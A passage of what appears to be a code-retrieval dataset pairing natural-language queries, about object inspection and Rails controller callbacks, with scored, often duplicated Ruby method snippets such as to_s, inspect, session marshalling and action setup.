"docid": "3cde746a6d05b726eac42697d2dc4daf", "score": "0.6366262", "text": "def to_s\n options_to_print = @options.clone\n options_to_print[:password] = '<hidden>' if options_to_print.key?(:password)\n \"#{@username}@#{@hostname}<#{options_to_print.inspect}>\"\n end", "title": "" }, { "docid": "86f39c437ffd61e3672aca1c77779b61", "score": "0.63534105", "text": "def to_s\n to_h.inspect\n end", "title": "" }, { "docid": "54ab342b2208478003cd3635782a6eb9", "score": "0.6353327", "text": "def to_s\n JSON.pretty_generate to_hash\n end", "title": "" }, { "docid": "b1fb76a03bbb46cc06181b6dd35aac31", "score": "0.6322685", "text": "def to_s\n \"Session Ended for requestID: #{request_id} with reason #{reason}\"\n end", "title": "" }, { "docid": "d7b1ff449cc2af9d124428a0312ca541", "score": "0.63182616", "text": "def print_sessions msg\n puts msg + \"________________\\n\"\n if @sessions != nil\n @sessions.each do |s|\n if s != nil && s[:active_transaction] != nil\n print s[:active_transaction].class.name + \" : \"\n puts s[:active_transaction].get_pdt_screen_definition.menu_item.to_s\n puts \"\\n\"\n end\n end\n end\n puts \"_________________\"\n end", "title": "" }, { "docid": "3eec4f708f5f179aecc1234560d8176a", "score": "0.63164055", "text": "def to_s\n\n s = \" #{self.class} :\\n\"\n s << \" - flow_expression_id : #{@flow_expression_id}\\n\"\n s << \" - participant_name : #{@participant_name}\\n\"\n s << \" - last_modified : #{@last_modified}\\n\"\n s << \" - dispatch_time : #{@dispatch_time}\\n\"\n s << \" - attributes :\\n\"\n\n s << ' {\\n'\n @attributes.keys.sort.each do |k|\n s << \" #{k.inspect} => #{@attributes[k].inspect},\\n\"\n end\n s << ' }'\n s\n end", "title": "" }, { "docid": "e5ff6e48ec6796ef34447e1d2151a83d", "score": "0.62700987", "text": "def raw_session; end", "title": "" }, { "docid": "3675a63771c10d1ccdee44e116437c80", "score": "0.62439954", "text": "def to_s\n self.to_h.inspect\n end", "title": "" }, { "docid": "6727c0c1c7e07e678157a0881856a61c", "score": "0.62363005", "text": "def log_session\n logger.debug '--'\n logger.debug \"session: #{session.inspect}\"\n logger.debug \"user_session: #{user_session.inspect}\"\n logger.debug '--'\n end", "title": "" }, { "docid": "4c37da94bbf925af0d81baa46d58cb26", "score": "0.6180716", "text": "def marshal(session)\n data = ActiveSupport::Base64.encode64(Marshal.dump(session)).chop\n CGI.escape \"#{data}--#{generate_digest(data)}\"\n end", "title": "" }, { "docid": "d618144d50a048c71e2f6d31766f2a97", "score": "0.61743677", "text": "def to_pretty\n enable_prettyprint(true).to_s\n end", "title": "" }, { "docid": "cc55626752d434a0a795741ae1122668", "score": "0.6173472", "text": "def pretty_print\n result = \"\"\n self.class.attributes.each { |m| result << \"#{m}: #{send(m)}\\n\"}\n result\n end", "title": "" }, { "docid": "fcffc3d5557a8bd9784efa4b853a1f87", "score": "0.6141279", "text": "def print_sessions(opts = {})\n str = \"\"\n str += \" Cost Average Max\\n\"\n sessions.sort{|x,y| y.total_cost <=> x.total_cost}.each do |s|\n next if opts[:mincost] and s.total_cost < opts[:mincost]\n next if opts[:minavg] and s.total_avg < opts[:minavg]\n next if opts[:minmax] and s.total_max < opts[:minmax]\n str += \"+ #{s.name} (#{s.log_entries.size} entries, #{(s.error_avg*100).to_i}% Error)\\n\"\n str += \"| Total: #{ftos s.total_cost}#{ftos s.total_avg}#{ftos s.total_max}\\n\"\n str += \"| Render: #{ftos s.render_cost}#{ftos s.render_avg}#{ftos s.render_max}\\n\"\n str += \"| DB: #{ftos s.db_cost}#{ftos s.db_avg}#{ftos s.db_max}\\n\"\n str += \"\\n\"\n end\n return str\n end", "title": "" }, { "docid": "949ee2fc40124ca888e175c0eed1455e", "score": "0.613797", "text": "def to_s\n self.inspect\n end", "title": "" }, { "docid": "6155d678bd6df74cc5cbd9f38cba57ca", "score": "0.61312467", "text": "def marshal(session)\n data = Base64.encode64(Marshal.dump(session)).chop\n Mongrel::HttpRequest.escape \"#{data}--#{generate_digest(data)}\"\n end", "title": "" }, { "docid": "28a84e2546a4267935076a42a75cef1d", "score": "0.6117166", "text": "def session\n driver.get(session_manipulation_config.path)\n session_manipulation_config.encoder.decode(driver.response.body)\n end", "title": "" }, { "docid": "7416c3e1e8b3046e92041323c0e00f03", "score": "0.61127913", "text": "def to_s\r\n dump\r\n end", "title": "" }, { "docid": "37fbc783665b94cf85b8a29fe5117353", "score": "0.6111127", "text": "def to_s\n values = @params.map{|k, v| \"#{k}: #{v}\"}.join(\" \")\n \"<Twilio.FlexApi.V1.InsightsSessionInstance #{values}>\"\n end", "title": "" }, { "docid": "43c77b14298648b096d94635f07e6782", "score": "0.61104214", "text": "def to_s\n inspect\n end", "title": "" }, { "docid": "43c77b14298648b096d94635f07e6782", "score": "0.61104214", "text": "def to_s\n inspect\n end", "title": "" }, { "docid": "43c77b14298648b096d94635f07e6782", "score": "0.61104214", "text": "def to_s\n inspect\n end", "title": "" }, { "docid": "43c77b14298648b096d94635f07e6782", "score": "0.61104214", "text": "def to_s\n inspect\n end", "title": "" }, { "docid": "a3bb605ae4f5f4cdd5ea7c4a486f796a", "score": "0.60995483", "text": "def to_s\n inspect\n end", "title": "" }, { "docid": "a3bb605ae4f5f4cdd5ea7c4a486f796a", "score": "0.60995483", "text": "def to_s\n inspect\n end", "title": "" }, { "docid": "a3bb605ae4f5f4cdd5ea7c4a486f796a", "score": "0.60995483", "text": "def to_s\n inspect\n end", "title": "" }, { "docid": "a3bb605ae4f5f4cdd5ea7c4a486f796a", "score": "0.60995483", "text": "def to_s\n inspect\n end", "title": "" }, { "docid": "a3bb605ae4f5f4cdd5ea7c4a486f796a", "score": "0.60995483", "text": "def to_s\n inspect\n end", "title": "" }, { "docid": "a3bb605ae4f5f4cdd5ea7c4a486f796a", "score": "0.60995483", "text": "def to_s\n inspect\n end", "title": "" }, { "docid": "a3bb605ae4f5f4cdd5ea7c4a486f796a", "score": "0.60995483", "text": "def to_s\n inspect\n end", "title": "" }, { "docid": "a3bb605ae4f5f4cdd5ea7c4a486f796a", "score": "0.60995483", "text": "def to_s\n inspect\n end", "title": "" }, { "docid": "b4de16a2154deddad0e30ee703d211dc", "score": "0.60964715", "text": "def to_s\n \"Name: #{@device_name} \\n\\tUser: #{@user_name} \\n\\tDescription: #{@description} \\n\\tKey: #{@key}\"\n end", "title": "" }, { "docid": "92175452657e51c44591a1c7015b72fd", "score": "0.60955125", "text": "def inspect\n to_s!\n end", "title": "" }, { "docid": "75c468ae7aac18e1f6817fa278aa2fc3", "score": "0.60917765", "text": "def to_s\n self.inspect\n end", "title": "" }, { "docid": "75c468ae7aac18e1f6817fa278aa2fc3", "score": "0.60917765", "text": "def to_s\n self.inspect\n end", "title": "" }, { "docid": "4f7585f66ffa450a9070d4f17e5a3bbd", "score": "0.6090249", "text": "def inspect\n to_s\n end", "title": "" }, { "docid": "4f7585f66ffa450a9070d4f17e5a3bbd", "score": "0.6090249", "text": "def inspect\n to_s\n end", "title": "" }, { "docid": "4f7585f66ffa450a9070d4f17e5a3bbd", "score": "0.6090249", "text": "def inspect\n to_s\n end", "title": "" }, { "docid": "4f7585f66ffa450a9070d4f17e5a3bbd", "score": "0.6090249", "text": "def inspect\n to_s\n end", "title": "" }, { "docid": "4f7585f66ffa450a9070d4f17e5a3bbd", "score": "0.6090249", "text": "def inspect\n to_s\n end", "title": "" }, { "docid": "4f7585f66ffa450a9070d4f17e5a3bbd", "score": "0.6090249", "text": "def inspect\n to_s\n end", "title": "" }, { "docid": "4f7585f66ffa450a9070d4f17e5a3bbd", "score": "0.6090249", "text": "def inspect\n to_s\n end", "title": "" }, { "docid": "4f7585f66ffa450a9070d4f17e5a3bbd", "score": "0.6090249", "text": "def inspect\n to_s\n end", "title": "" }, { "docid": "4f7585f66ffa450a9070d4f17e5a3bbd", "score": "0.6090249", "text": "def inspect\n to_s\n end", "title": "" }, { "docid": "4f7585f66ffa450a9070d4f17e5a3bbd", "score": "0.6090249", "text": "def inspect\n to_s\n end", "title": "" }, { "docid": "4f7585f66ffa450a9070d4f17e5a3bbd", "score": "0.6090249", "text": "def inspect\n to_s\n end", "title": "" }, { "docid": "4f7585f66ffa450a9070d4f17e5a3bbd", "score": "0.6090249", "text": "def inspect\n to_s\n end", "title": "" }, { "docid": "4f7585f66ffa450a9070d4f17e5a3bbd", "score": "0.6090249", "text": "def inspect\n to_s\n end", "title": "" }, { "docid": "4f7585f66ffa450a9070d4f17e5a3bbd", "score": "0.6090249", "text": "def inspect\n to_s\n end", "title": "" }, { "docid": "4f7585f66ffa450a9070d4f17e5a3bbd", "score": "0.6090249", "text": "def inspect\n to_s\n end", "title": "" }, { "docid": "a359b877abd28b7abf7f8c678ea8577d", "score": "0.60704863", "text": "def inspect\n to_s\n end", "title": "" }, { "docid": "a359b877abd28b7abf7f8c678ea8577d", "score": "0.60704863", "text": "def inspect\n to_s\n end", "title": "" }, { "docid": "a359b877abd28b7abf7f8c678ea8577d", "score": "0.60704863", "text": "def inspect\n to_s\n end", "title": "" }, { "docid": "9ffb6760c2ed4c5f21b84cd353d8f042", "score": "0.60591716", "text": "def to_session_value; end", "title": "" }, { "docid": "19b3fcc8db01fae2f72b9d3876702a76", "score": "0.60423964", "text": "def to_s\n \"#<#{self.class.to_s}:#{self.id} @attributes=#{@attributes.inspect}>\"\n end", "title": "" }, { "docid": "61394e336bfa62d042db0d71c932b7d4", "score": "0.603325", "text": "def session_serializer\n @session_serializer ||= Warden::SessionSerializer.new(@env)\n end", "title": "" }, { "docid": "b4025e28b43bf5e31a0179236e164d84", "score": "0.60309803", "text": "def inspect\n as_str = \"#<#{self.class}:#{self.object_id.to_s(16)}\"\n self.class.model_attributes.merge(self.class.protected_model_attributes).each do |attr_name, ivar_name|\n as_str << \" #{attr_name}=#{instance_variable_get(ivar_name).inspect}\"\n end\n as_str << \">\"\n end", "title": "" }, { "docid": "f8c58eb15f6f14b88f4cfe3ef5f9b5c2", "score": "0.6026345", "text": "def inspect\n to_s\n end", "title": "" }, { "docid": "f8c58eb15f6f14b88f4cfe3ef5f9b5c2", "score": "0.6026345", "text": "def inspect\n to_s\n end", "title": "" }, { "docid": "f8c58eb15f6f14b88f4cfe3ef5f9b5c2", "score": "0.6026345", "text": "def inspect\n to_s\n end", "title": "" }, { "docid": "f8c58eb15f6f14b88f4cfe3ef5f9b5c2", "score": "0.6026345", "text": "def inspect\n to_s\n end", "title": "" }, { "docid": "f8c58eb15f6f14b88f4cfe3ef5f9b5c2", "score": "0.6026345", "text": "def inspect\n to_s\n end", "title": "" }, { "docid": "f8c58eb15f6f14b88f4cfe3ef5f9b5c2", "score": "0.6026345", "text": "def inspect\n to_s\n end", "title": "" }, { "docid": "f8c58eb15f6f14b88f4cfe3ef5f9b5c2", "score": "0.6026345", "text": "def inspect\n to_s\n end", "title": "" }, { "docid": "9de4b58d246a11e5383cd14d25999c96", "score": "0.6014643", "text": "def to_s\n \"#<#{self.class.name}:#{object_id} #{info}>\"\n end", "title": "" }, { "docid": "678626aeedf2a51f0ced828f2ceff9a6", "score": "0.60087234", "text": "def to_s\n \"#<#{self.class.name}:#{object_id} @name=#{name}>\"\n end", "title": "" }, { "docid": "1a589177dcc06ee743d16d92e5b263e0", "score": "0.6008601", "text": "def to_s\n inspect.to_s\n end", "title": "" }, { "docid": "1a589177dcc06ee743d16d92e5b263e0", "score": "0.6008601", "text": "def to_s\n inspect.to_s\n end", "title": "" }, { "docid": "9fd60236e89839adbc76151798e20585", "score": "0.6006017", "text": "def serialize_from_session(*args, &block); end", "title": "" }, { "docid": "225f4ab96b545d9f1bc376cfa9663cb4", "score": "0.59779865", "text": "def to_s\n context = @solution.map{|k, v| \"#{k}: #{v}\"}.join(',')\n \"#<Twilio.FlexApi.V1.InsightsSessionContext #{context}>\"\n end", "title": "" }, { "docid": "d6bed2a77681ae6e5101696e99d03ecd", "score": "0.59761006", "text": "def to_s\n to_h.to_s\n end", "title": "" }, { "docid": "c155e1341e9d62d746aa1082e9af814f", "score": "0.5972967", "text": "def pretty_print_instance_variables; end", "title": "" }, { "docid": "3af46eda5750e283d7987e8eb9fd0261", "score": "0.59676236", "text": "def inspect\n '<#' + self.class.to_s + ' ' +\n attrs = [[:current_state, state_name.inspect],\n [:object_type , @object.class],\n [:method_name , method_name.inspect],\n [:field_name , field_name.inspect],\n [:machine , machine.to_s]].\n map {|x| x.join('=') }.join( \" \" ) + '>'\n end", "title": "" }, { "docid": "cd5e0804c62fef5c590dfe00cba9e91f", "score": "0.5965853", "text": "def pretty_print pp\n p, c, e = params, cookies, http_vars\n pp.object_group(self){\n { 'params' => params,\n 'cookies' => cookies,\n 'env' => http_vars }.each do |name, hash|\n pp.breakable\n pp.text \" @#{name}=\"\n pp.nest(name.length+3){ pp.pp_hash hash }\n end\n }\n end", "title": "" }, { "docid": "49bb934e4aa5abfc5ac38d66d28872e2", "score": "0.59655195", "text": "def to_s\n inspect\n end", "title": "" }, { "docid": "49bb934e4aa5abfc5ac38d66d28872e2", "score": "0.59655195", "text": "def to_s\n inspect\n end", "title": "" } ]
f74c29bdfc4a183e1ec1b91334cd5be2
Use callbacks to share common setup or constraints between actions.
[ { "docid": "6721ee8c8fc7c68d7db5fd0ca8a5f826", "score": "0.0", "text": "def set_product\n @product = Product.find(params[:id])\n end", "title": "" } ]
[ { "docid": "631f4c5b12b423b76503e18a9a606ec3", "score": "0.60310596", "text": "def process_action(...)\n run_callbacks(:process_action) do\n super\n end\n end", "title": "" }, { "docid": "7b068b9055c4e7643d4910e8e694ecdc", "score": "0.6014974", "text": "def on_setup_callbacks; end", "title": "" }, { "docid": "311e95e92009c313c8afd74317018994", "score": "0.59220976", "text": "def setup_actions\n domain = @apps.domain\n path_user = '/a/feeds/'+domain+'/user/2.0'\n path_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n path_email_list = '/a/feeds/'+domain+'/emailList/2.0'\n path_group = '/a/feeds/group/2.0/'+domain\n\n @apps.register_action(:domain_login, {:method => 'POST', :path => '/accounts/ClientLogin' })\n @apps.register_action(:user_create, { :method => 'POST', :path => path_user })\n @apps.register_action(:user_retrieve, { :method => 'GET', :path => path_user+'/' })\n @apps.register_action(:user_retrieve_all, { :method => 'GET', :path => path_user })\n @apps.register_action(:user_update, { :method => 'PUT', :path => path_user +'/' })\n @apps.register_action(:user_delete, { :method => 'DELETE', :path => path_user +'/' })\n @apps.register_action(:nickname_create, { :method => 'POST', :path =>path_nickname })\n @apps.register_action(:nickname_retrieve, { :method => 'GET', :path =>path_nickname+'/' })\n @apps.register_action(:nickname_retrieve_all_for_user, { :method => 'GET', :path =>path_nickname+'?username=' })\n @apps.register_action(:nickname_retrieve_all_in_domain, { :method => 'GET', :path =>path_nickname })\n @apps.register_action(:nickname_delete, { :method => 'DELETE', :path =>path_nickname+'/' })\n @apps.register_action(:group_create, { :method => 'POST', :path => path_group })\n @apps.register_action(:group_update, { :method => 'PUT', :path => path_group })\n @apps.register_action(:group_retrieve, { :method => 'GET', :path => path_group })\n @apps.register_action(:group_delete, { :method => 'DELETE', :path => path_group })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, {:method => 'GET', :path =>'' })\n end", "title": "" }, { "docid": "8315debee821f8bfc9718d31b654d2de", "score": "0.5914568", "text": "def initialize(*args)\n super\n @action = :setup\nend", "title": "" }, { "docid": "8315debee821f8bfc9718d31b654d2de", "score": "0.5914568", "text": "def initialize(*args)\n super\n @action = :setup\nend", "title": "" }, { "docid": "bfea4d21895187a799525503ef403d16", "score": "0.589943", "text": "def define_action_helpers\n super\n define_validation_hook if runs_validations_on_action?\n end", "title": "" }, { "docid": "352de4abc4d2d9a1df203735ef5f0b86", "score": "0.5888941", "text": "def required_action\n # TODO: implement\n end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.58885634", "text": "def actions; end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.58885634", "text": "def actions; end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.58885634", "text": "def actions; end", "title": "" }, { "docid": "8713cb2364ff3f2018b0d52ab32dbf37", "score": "0.58782613", "text": "def define_action_helpers\n if action == :save\n if super(:create_or_update)\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n else\n super\n end\n end", "title": "" }, { "docid": "a80b33627067efa06c6204bee0f5890e", "score": "0.5861314", "text": "def actions\n\n end", "title": "" }, { "docid": "930a930e57ae15f432a627a277647f2e", "score": "0.5809542", "text": "def setup_actions\n domain = @apps.domain\n path_base = '/a/feeds/emailsettings/2.0/'+domain+'/'\n\n @apps.register_action(:create_label, {:method => 'POST', :path => path_base })\n @apps.register_action(:create_filter, { :method => 'POST', :path => path_base })\n @apps.register_action(:create_send_as, { :method => 'POST', :path => path_base })\n @apps.register_action(:update_webclip, { :method => 'PUT', :path => path_base })\n @apps.register_action(:update_forward, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_pop, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_imap, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_vacation, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_signature, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_language, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_general, { :method => 'PUT', :path =>path_base })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, {:method => 'GET', :path =>nil })\n end", "title": "" }, { "docid": "33ff963edc7c4c98d1b90e341e7c5d61", "score": "0.5741235", "text": "def setup\n common_setup\n end", "title": "" }, { "docid": "a5ca4679d7b3eab70d3386a5dbaf27e1", "score": "0.57311964", "text": "def perform_setup\n end", "title": "" }, { "docid": "ec7554018a9b404d942fc0a910ed95d9", "score": "0.5716416", "text": "def before_setup(&block)\n pre_setup_actions.unshift block\n end", "title": "" }, { "docid": "9c186951c13b270d232086de9c19c45b", "score": "0.5700531", "text": "def callbacks; end", "title": "" }, { "docid": "c85b0efcd2c46a181a229078d8efb4de", "score": "0.56932974", "text": "def custom_setup\n\n end", "title": "" }, { "docid": "100180fa74cf156333d506496717f587", "score": "0.56695074", "text": "def do_setup\n\t\tget_validation\n\t\tprocess_options\n\tend", "title": "" }, { "docid": "2198a9876a6ec535e7dcf0fd476b092f", "score": "0.5651278", "text": "def initial_action; end", "title": "" }, { "docid": "b9b75a9e2eab9d7629c38782c0f3b40b", "score": "0.5648787", "text": "def setup_intent; end", "title": "" }, { "docid": "471d64903a08e207b57689c9fbae0cf9", "score": "0.5637279", "text": "def setup_controllers &proc\n @global_setup = proc\n self\n end", "title": "" }, { "docid": "468d85305e6de5748477545f889925a7", "score": "0.5625286", "text": "def inner_action; end", "title": "" }, { "docid": "bb445e7cc46faa4197184b08218d1c6d", "score": "0.56093556", "text": "def pre_action\n # Override this if necessary.\n end", "title": "" }, { "docid": "432f1678bb85edabcf1f6d7150009703", "score": "0.55957067", "text": "def target_callbacks() = commands", "title": "" }, { "docid": "48804b0fa534b64e7885b90cf11bff31", "score": "0.5595428", "text": "def execute_callbacks; end", "title": "" }, { "docid": "5aab98e3f069a87e5ebe77b170eab5b9", "score": "0.5587003", "text": "def api_action!(*args)\n type = self.class.name.split(\"::\").last.downcase\n run_callbacks_for([\"before_#{type}\", :before], *args)\n result = nil\n begin\n result = yield if block_given?\n run_callbacks_for([\"after_#{type}\", :after], *args)\n result\n rescue => err\n run_callbacks_for([\"failed_#{type}\", :failed], *(args + [err]))\n raise\n end\n end", "title": "" }, { "docid": "9efbca664902d80a451ef6cff0334fe2", "score": "0.555788", "text": "def global_callbacks; end", "title": "" }, { "docid": "9efbca664902d80a451ef6cff0334fe2", "score": "0.555788", "text": "def global_callbacks; end", "title": "" }, { "docid": "482481e8cf2720193f1cdcf32ad1c31c", "score": "0.5509564", "text": "def required_keys(action)\n\n end", "title": "" }, { "docid": "353fd7d7cf28caafe16d2234bfbd3d16", "score": "0.5503485", "text": "def assign_default_callbacks(action_name, is_member=false)\n if ResourceController::DEFAULT_ACTIONS.include?(action_name)\n DefaultActions.send(action_name, self)\n elsif is_member\n send(action_name).build { load_object }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => object }\n send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { render :xml => object.errors }\n else\n send(action_name).build { load_collection }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => collection }\n send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { head 500 }\n end\n end", "title": "" }, { "docid": "dcf95c552669536111d95309d8f4aafd", "score": "0.54668134", "text": "def layout_actions\n \n end", "title": "" }, { "docid": "2f6ef0a1ebe74f4d79ef0fb81af59d40", "score": "0.5466406", "text": "def on_setup(&block); end", "title": "" }, { "docid": "8ab2a5ea108f779c746016b6f4a7c4a8", "score": "0.54484755", "text": "def testCase_001\n test_case_title # fw3_actions.rb\n setup # fw3_global_methods.rb\n \n get_page_url # fw3_actions.rb\n validate_page_title # fw3_actions.rb\n validate_page_link_set # fw3_actions.rb\n \n teardown # fw3_global_methods.rb\nend", "title": "" }, { "docid": "e3aadf41537d03bd18cf63a3653e05aa", "score": "0.5445224", "text": "def before(action)\n invoke_callbacks *options_for(action).before\n end", "title": "" }, { "docid": "6bd37bc223849096c6ea81aeb34c207e", "score": "0.54400647", "text": "def post_setup\n end", "title": "" }, { "docid": "07fd9aded4aa07cbbba2a60fda726efe", "score": "0.54170287", "text": "def testCase_001\n testTitle # fw2_actions.rb\n setup # fw2_global_methods.rb\n get_page_url # fw2_actions.rb\n validate_title # fw2_actions.rb\n teardown # fw2_global_methods.rb\nend", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5410386", "text": "def action_methods; end", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5410386", "text": "def action_methods; end", "title": "" }, { "docid": "9358208395c0869021020ae39071eccd", "score": "0.5400231", "text": "def post_setup; end", "title": "" }, { "docid": "c5904f93614d08afa38cc3f05f0d2365", "score": "0.5394892", "text": "def before_setup; end", "title": "" }, { "docid": "c5904f93614d08afa38cc3f05f0d2365", "score": "0.5394892", "text": "def before_setup; end", "title": "" }, { "docid": "cb5bad618fb39e01c8ba64257531d610", "score": "0.53915846", "text": "def define_model_action(methods,action,default_options={:validate => true})\n default_options.merge!(methods.extract_options!)\n actions = [action,\"#{action}!\".to_sym]\n actions.each do |a|\n define_method(a) do |opts = {}|\n rslt = nil\n options = default_options.merge(opts)\n options[:raise_exception] = a.to_s.match(/\\!$/)\n run_callbacks(action) do\n rslt = run_model_action(methods,options)\n end\n run_after_any\n rslt\n end\n end\n end", "title": "" }, { "docid": "a468b256a999961df3957e843fd9bdf4", "score": "0.53883713", "text": "def _setup\n setup_notification_categories\n setup_intelligent_segments\n end", "title": "" }, { "docid": "f099a8475f369ce73a38d665b6ee6877", "score": "0.5377769", "text": "def action_run\n end", "title": "" }, { "docid": "2c4e5a90aa8efaaa3ed953818a9b30d2", "score": "0.53559244", "text": "def execute(setup)\n @action.call(setup)\n end", "title": "" }, { "docid": "725216eb875e8fa116cd55eac7917421", "score": "0.53485996", "text": "def setup\n @controller.setup\n end", "title": "" }, { "docid": "39c39d6fe940796aadbeaef0ce1c360b", "score": "0.53475654", "text": "def setup_phase; end", "title": "" }, { "docid": "118932433a8cfef23bb8a921745d6d37", "score": "0.534689", "text": "def register_action(action); end", "title": "" }, { "docid": "bd03e961c8be41f20d057972c496018c", "score": "0.53444993", "text": "def post_setup\n controller.each do |name,ctrl|\n ctrl.post_setup\n end\n end", "title": "" }, { "docid": "c6352e6eaf17cda8c9d2763f0fbfd99d", "score": "0.5340848", "text": "def initial_action=(_arg0); end", "title": "" }, { "docid": "207a668c9bce9906f5ec79b75b4d8ad7", "score": "0.532768", "text": "def before_setup\n\n end", "title": "" }, { "docid": "669ee5153c4dc8ee81ff32c4cefdd088", "score": "0.53044224", "text": "def ensure_before_and_after; end", "title": "" }, { "docid": "c77ece7b01773fb7f9f9c0f1e8c70332", "score": "0.5285527", "text": "def setup!\n adding_handlers do\n check_arity\n apply_casting\n check_validation\n end\n end", "title": "" }, { "docid": "1e1e48767a7ac23eb33df770784fec61", "score": "0.5283148", "text": "def set_minimum_up_member_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "title": "" }, { "docid": "63a9fc1fb0dc1a7d76ebb63a61ed24d7", "score": "0.52561116", "text": "def define_callbacks(*args)\n if abstract_class\n all_shards.each do |model|\n model.define_callbacks(*args)\n end\n end\n\n super\n end", "title": "" }, { "docid": "4ad1208a9b6d80ab0dd5dccf8157af63", "score": "0.5255505", "text": "def rails_controller_callbacks(&block)\n rails_controller_instance.run_callbacks(:process_action, &block)\n end", "title": "" }, { "docid": "fc88422a7a885bac1df28883547362a7", "score": "0.5249269", "text": "def pre_setup_actions\n @@pre_setup_actions ||= []\n end", "title": "" }, { "docid": "8945e9135e140a6ae6db8d7c3490a645", "score": "0.52457106", "text": "def action_awareness\n if action_aware?\n if !@options.key?(:allow_nil)\n if @required\n @allow_nil = false\n else\n @allow_nil = true\n end\n end\n if as_action != \"create\"\n @required = false\n end\n end\n end", "title": "" }, { "docid": "7b3954deb2995cf68646c7333c15087b", "score": "0.5239162", "text": "def after_setup\n end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.5237084", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.5237084", "text": "def action; end", "title": "" }, { "docid": "1dddf3ac307b09142d0ad9ebc9c4dba9", "score": "0.52318287", "text": "def external_action\n raise NotImplementedError\n end", "title": "" }, { "docid": "5772d1543808c2752c186db7ce2c2ad5", "score": "0.5228689", "text": "def actions(state:)\n raise NotImplementedError\n end", "title": "" }, { "docid": "64a6d16e05dd7087024d5170f58dfeae", "score": "0.5224244", "text": "def setup_actions(domain)\n\t\t\tpath_user = '/a/feeds/'+domain+'/user/2.0'\n\t\t\tpath_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n\t\t\tpath_group = '/a/feeds/group/2.0/'+domain # path for Google groups\n\n\t\t\taction = Hash.new\n\t\t\taction[:domain_login] = {:method => 'POST', :path => '/accounts/ClientLogin' }\n\t\t\taction[:user_create] = { :method => 'POST', :path => path_user }\n\t\t\taction[:user_retrieve] = { :method => 'GET', :path => path_user+'/' }\n\t\t\taction[:user_retrieve_all] = { :method => 'GET', :path => path_user } \n\t\t\taction[:user_update] = { :method => 'PUT', :path => path_user +'/' }\n\t\t\taction[:user_rename] = { :method => 'PUT', :path => path_user +'/' }\n\t\t\taction[:user_delete] = { :method => 'DELETE', :path => path_user +'/' }\n\t\t\taction[:nickname_create] = { :method => 'POST', :path =>path_nickname }\n\t\t\taction[:nickname_retrieve] = { :method => 'GET', :path =>path_nickname+'/' }\n\t\t\taction[:nickname_retrieve_all_for_user] = { :method => 'GET', :path =>path_nickname+'?username=' }\n\t\t\taction[:nickname_retrieve_all_in_domain] = { :method => 'GET', :path =>path_nickname }\n\t\t\taction[:nickname_delete] = { :method => 'DELETE', :path =>path_nickname+'/' }\n\t\t\taction[:group_create] = { :method => 'POST', :path =>path_group }\n\t\t\taction[:group_update] = { :method => 'PUT', :path =>path_group+'/' }\n\t\t\taction[:group_delete] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:groups_retrieve] = { :method => 'GET', :path =>path_group+'?member=' }\n\t\t\taction[:all_groups_retrieve] = { :method => 'GET', :path =>path_group }\n\t\t\taction[:membership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:membership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:membership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_members_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:ownership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:ownership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:ownership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_owners_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\n\t\t\t# special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n\t\t\taction[:next] = {:method => 'GET', :path =>nil }\n\t\t\treturn action \t\n\t\tend", "title": "" }, { "docid": "6350959a62aa797b89a21eacb3200e75", "score": "0.52220625", "text": "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "title": "" }, { "docid": "db0cb7d7727f626ba2dca5bc72cea5a6", "score": "0.5220978", "text": "def process_params\n set_params_authable if process_params_authable?\n set_params_ownerable if process_params_ownerable?\n set_params_sub_action\n end", "title": "" }, { "docid": "8d7ed2ff3920c2016c75f4f9d8b5a870", "score": "0.52146", "text": "def pick_action; end", "title": "" }, { "docid": "7bbfb366d2ee170c855b1d0141bfc2a3", "score": "0.5212803", "text": "def proceed_with(action, *arguments)\n self.class.decouplings.each do |decoupler|\n decoupler.run_on(self, action, *arguments)\n end\n end", "title": "" }, { "docid": "78ecc6a2dfbf08166a7a1360bc9c35ef", "score": "0.520894", "text": "def define_action_helpers\n if action_hook\n @action_hook_defined = true\n define_action_hook\n end\n end", "title": "" }, { "docid": "2aba2d3187e01346918a6557230603c7", "score": "0.5205112", "text": "def ac_action(&blk)\n @action = blk\n end", "title": "" }, { "docid": "4c23552739b40c7886414af61210d31c", "score": "0.5204084", "text": "def execute_pre_setup_actions(test_instance,runner=nil)\n self.class.pre_setup_actions.each do |action|\n action.call 